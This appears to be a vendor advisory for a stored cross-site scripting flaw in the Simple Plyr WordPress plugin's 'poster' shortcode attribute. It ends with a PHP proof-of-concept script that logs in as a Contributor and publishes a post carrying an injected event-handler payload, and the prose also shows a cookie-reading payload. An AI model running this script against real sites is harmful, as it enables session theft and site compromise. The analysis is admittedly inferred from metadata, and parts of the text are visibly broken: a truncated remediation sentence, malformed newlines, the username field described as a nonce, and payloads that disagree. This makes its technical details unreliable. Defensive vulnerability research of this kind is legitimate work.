Atomic Edge analysis of CVE-2026-1915 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Simple Plyr WordPress plugin, version 0.0.1. The issue resides in the plugin’s ‘plyr’ shortcode handler, specifically in the processing of the ‘poster’ attribute. Attackers with Contributor-level or higher permissions can inject malicious scripts into posts or pages, which execute when a user views the compromised content. The CVSS score of 6.4 (Medium) reflects the need for authentication but the broad impact due to stored execution and scope change.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping for user-supplied shortcode attributes. The CWE-79 classification confirms a failure to neutralize input during web page generation. The vulnerability description states the ‘poster’ parameter is not properly sanitized before being rendered. Without code for review, this conclusion is based on the CWE pattern and the described attack vector. The plugin likely uses the `shortcode_atts()` function or similar to parse attributes but fails to apply `esc_attr()` or an equivalent escaping function when outputting the ‘poster’ attribute value within an HTML tag.
Exploitation requires an authenticated user with at least Contributor privileges. The attacker creates or edits a post, inserting the ‘[plyr]’ shortcode with a malicious ‘poster’ attribute. The payload is a JavaScript payload within the attribute value, such as `poster=”http://example.com/image.jpg” onerror=”alert(document.cookie)”`. When the post is saved and subsequently viewed by any user, the browser interprets the injected attribute as executable code. The attack vector is the WordPress post editor, and the payload is stored in the database.
Effective remediation requires implementing proper output escaping. The plugin should escape the ‘poster’ attribute value using WordPress core functions like `esc_attr()` or `esc_url()` before echoing it within an HTML element, likely an `
` or `
The impact of successful exploitation is client-side code execution in the context of a victim’s browser session. Attackers can steal session cookies, perform actions on behalf of the user, deface websites, or redirect users to malicious sites. Since the payload is stored, a single injection can affect all visitors to the compromised page. The scope change (S:C in CVSS) indicates the vulnerability can affect components beyond the plugin’s own security scope, potentially impacting the entire WordPress site.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1915 - Simple Plyr <= 0.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'poster' Shortcode Attribute
<?php
// Configuration
$target_url = 'http://target-site.com/wp-admin/post-new.php'; // New post page for Contributor+
$username = 'contributor_user'; // Attacker's username
$password = 'attacker_password'; // Attacker's password
$payload = '[plyr poster="http://valid.image/url.jpg" onload="alert(`Atomic Edge XSS`)"]';
// Initialize cURL session for WordPress login and cookie handling
$ch = curl_init();
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => 'Atomic Edge PoC Client'
]);
// Step 1: Fetch the login page to obtain the login nonce (wpnonce)
curl_setopt($ch, CURLOPT_URL, 'http://target-site.com/wp-login.php');
$login_page = curl_exec($ch);
// Extract the login nonce (log) from the form. This regex is a common pattern.
preg_match('/name="log" value="([^"]*)"/', $login_page, $log_match);
$log_nonce = $log_match[1] ?? '';
// Step 2: Submit login credentials
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]);
curl_setopt_array($ch, [
CURLOPT_URL => 'http://target-site.com/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $login_data,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$login_response = curl_exec($ch);
// Step 3: Access the new post page to obtain the post creation nonce (_wpnonce)
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);
// Extract the nonce for creating a post. This regex targets the editor nonce.
preg_match('/name="_wpnonce" value="([^"]*)"/', $post_page, $nonce_match);
$editor_nonce = $nonce_match[1] ?? '';
// Step 4: Create a new post with the malicious shortcode payload
// Assumes the default WordPress post creation endpoint and parameters.
$post_data = http_build_query([
'post_title' => 'Test Post with XSS',
'content' => $payload,
'publish' => 'Publish',
'_wpnonce' => $editor_nonce,
'post_type' => 'post'
]);
curl_setopt_array($ch, [
CURLOPT_URL => 'http://target-site.com/wp-admin/post.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$post_response = curl_exec($ch);
// Check for success (simplified check for demonstration)
if (strpos($post_response, 'Post published') !== false || strpos($post_response, 'Post updated') !== false) {
echo "[+] Exploit likely succeeded. Post containing XSS payload created.n";
// Attempt to extract the post URL from response for verification
preg_match('/class="view-post".*?href="([^"]*)"/', $post_response, $url_match);
if (!empty($url_match[1])) {
echo "[+] Post URL: " . htmlspecialchars($url_match[1]) . "n";
}
} else {
echo "[-] Exploit may have failed. Check authentication and permissions.n";
}
// Cleanup
curl_close($ch);
unlink($cookie_file);
?>